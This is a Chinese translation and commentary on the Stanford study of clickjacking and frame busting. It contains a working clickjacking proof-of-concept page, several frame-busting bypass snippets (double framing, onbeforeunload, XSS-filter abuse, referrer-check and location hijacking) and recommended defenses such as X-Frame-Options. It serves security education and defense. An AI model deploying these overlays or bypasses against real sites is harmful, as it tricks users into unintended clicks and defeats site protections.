Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites
Busting Frame Busting
Reference From: http://seclab.stanford.edu/websec/framebusting/framebust.pdf
Translated By: LittleHann
1. 摘要
基于Web Frame的攻击例如: ClickJacking,一般使用iframes去劫持用户的web session。目前最普遍的防御手段被称之为frame busting,即阻止当页面加载一个frame的时候对当前页面产生影响。
2. 介绍
Frame busting依靠防御代码来防止页面加载一个嵌套的frame,它是防御ClickJacking的主要手段。Frame busting同时还被用在保护login登录页面上,如果没有frame busting,那个这个login登录页面能够在任何的嵌套的子frame中打开。一些新型的高级ClickJacking技术使用Drag-and-Drop去提取敏感隐私数据并且注入到另一个frame中,完成数据窃取。
上图演示了一个ClickJacking。原始的页面被一个透明的的frame(内容是在的,只是视觉上是透明的)覆盖在了原本的页面图层的上面。当用户和原始的页面进行交互的时候(例如点击),他们在不知情的情况下和恶意的frame页面进行了交互,达到了欺骗劫持的目的。
为了对抗这种ClickJacking攻击,业界普通采用这种做法: frame busting bode
if(top.location != location)
{
top.location = self.location;
}
frame busting code一般由一个条件表达式和纠正动作(即跳转)组成。即将顶层页面导航值当前页面。
我们的调查显示:
大多数的网站还仅仅是做了简单的代码防御,即把top.location(覆盖在原始页面上的"恶意"frame重定向回sefl.location("正确"的frame))。针对ClickJacking的防御并没有得到重视。
3. ClickJacking的常规防御方法
frame busting 的条件判断语句:
if (top != self) if (top.location != self.location) if (top.location != location) if (parent.frames.length > 0) if (window != top) if (window.top !== window.self) if (window.self != window.top) if (parent && parent != window) if (parent && parent.frames && parent.frames.length>0) if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))
frame busting 的纠正动作代码:
top.location = self.location top.location.href = document.location.href top.location.href = self.location.href top.location.replace(self.location) top.location.href = window.location.href top.location.replace(document.location) top.location.href = window.location.href top.location.href = "URL" document.write('') top.location = location top.location.replace(document.location) top.location.replace('URL') top.location.href = document.location top.location.replace(window.location.href) top.location.href = location.href self.parent.location = document.location parent.location.href = self.document.location top.location.href = self.location top.location = window.location top.location.replace(window.location.pathname) window.top.location = window.self.location setTimeout(function(){document.body.innerHTML='';},1); window.self.onload = function(evt){document.body.innerHTML='';} var url = window.location.href; top.location.replace(url)
对于这种防御方法,我的理解是这样的:
这是一个对于frame覆盖的poc演示:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>
<title>Click Jack!</title>
<style type="text/css">
iframe
{
width: 900px;
height: 250px;
/* Use absolute positioning to line up update button with fake button */
position: absolute;
top: -195px;
left: -740px;
z-index: 2;
/* Hide from view */
-moz-opacity: 0.5;
opacity: 0.5;
filter: alpha(opacity=0.5);
}
button
{
position: absolute;
top: 10px;
left: 10px;
z-index: 1;
width: 120px;
}
</style>
</head>
<body>
<iframe src="http://www.baidu.com" scrolling="no"></iframe>
<button>Click Here!</button>
</body>
</html>
注意这个<iframe src="http://www.baidu.com" scrolling="no"></iframe>其实是在当前BOM(http://www.dreamdu.com/javascript/what_is_bom/)中插入了一个新的窗体window,而在一个
BOM中,各个window之间的地位是平级的,区分它们的视觉参数只有z-index。当两个window产生覆盖时,这两个window之间就有了top和parent的父子关系,即frame覆盖的问题。
攻击者通过控制iframe的长、宽以及调整top、left的位置,可以把iframe页面内的任意部分覆盖到任何地方。
同时设置iframe的position为absolute,并将z-index的值设置为最大,以达到让iframe处于页面的最上层。最后,通过设置opacity来控制iframe页面的透明度,值0是完全不可见。
这样,就完成了一次点击劫持攻击。
3. ClickJacking的绕过方法
3.1 Double Frame 双框架嵌套绕过法
之前介绍的普通的ClickJacking防御代码中只是简单的对parent.location进行赋值来进行frame覆盖的纠正。
这在当前页面只被攻击者覆盖了一个frame的情况能起到很好的防御作用。然后,如果攻击者在当前页面上覆盖了两个的frame(Double Frame),情况就不一样了。
建立两个页面:
1.html代码为:
<iframe src="2.html">
2.html代码为:
<iframe src="http://www.victim.com">
访问1.html之后可以看到页面并无跳转等动作。
3.2 onBeforeUnload函数的利用
我对这个函数的理解是,我们可以把它看成是一个DOM的生命周期函数,它在一个页面将要被关闭时调用。而这个所谓的页面"关闭"包括刷新和URL的跳转。这个“生命周期”函数可以为我们用来对抗frame busting的防御代码。即传统的frame busting的原理就是检测当前的top.location是否和self.location是否一致,如果不一致就进行URL的跳转,而这个跳转可以被攻击者通过onBeforeUnload注册的回调函数拦截下来,进行相应的处理。
如下的防御代码:
if(top != self) top.location.replace(location);
新建立页面,代码如下:
<script> var framekiller = true; window.onbeforeunload = function()
{
if(framekiller)
{
return "Write something here to keep people stay!";
}
}; </script> <iframe src="http://www.victim.com/">
打开页面显示如下:
欺骗用户点击留在此页后显示:
3.3 针对XSS Filter的攻击和利用
IE8和Google Chrome引入了一个XSS Filter机制来防止页面中出现典型的XSS 攻击。但是,反过来,XSS Filter也可能被用来对抗frame busting的代码。
防御代码如下:
if(top!=self)
{ top.location=self.location; }
新建立页面,代码如下:
<iframe src="http://www.victim.com/?<script>">
访问后页面显示:
IE的xss筛选器自动拦截了跳转。可以看到,原本的frame busting防御代码的跳转被IE XSS Filter当成了恶意跳转给拦了下来。这突然让我想到了一个原则:
"所有的安全漏洞都来自于原本正常的功能。关键是我们对这个功能的理解深刻程度以及利用方式"
3.4 Referer检查的问题
有一些站点允许自己的域名嵌套自己,禁止外站对自己的嵌套。
通常是用document.referer来检测来源是否为自己的域名。
if(top.location!=location){ if(document.referrer && document.referrer.indexOf("aaa.com")==1) { top.location.replace(document.location.href); } }
判断字符串中是否含有本域名是常见的错误用法,利用二级域名的方式便可绕过,如:
http://aaa.com.bbb.com
注:从https域下post数据到http域的时候,浏览器不带Referer。
3.5 location劫持
在IE浏览器中,如果能够在防御代码的前面可以插入form表单的话,可以利用form表单对location进行劫持。
<form name=self location="javascript:alert(1)"></form> <script> if(top!=self)
{ top.location=self.location } </script>
用iframe嵌套此代码,可以看到没有跳转,执行了alert(1)。
4. 推荐防御的方法
4.1 X-FRAME-OPTIONS
X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。
并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
这个头有三个值:
DENY // 拒绝任何域加载 SAMEORIGIN // 允许同源域下加载 ALLOW-FROM // 可以定义允许frame加载的页面地址
php中设置示例:
header ( "X-FRAME-OPTIONS:DENY");
4.2 目前最好的js的防御方案为
<head> <style> body { display : none;} </style> </head> <body> <script> if (self == top)
{ var theBody = document.getElementsByTagName('body')[0]; theBody.style.display = "block"; }
else
{ top.location = self.location; } </script>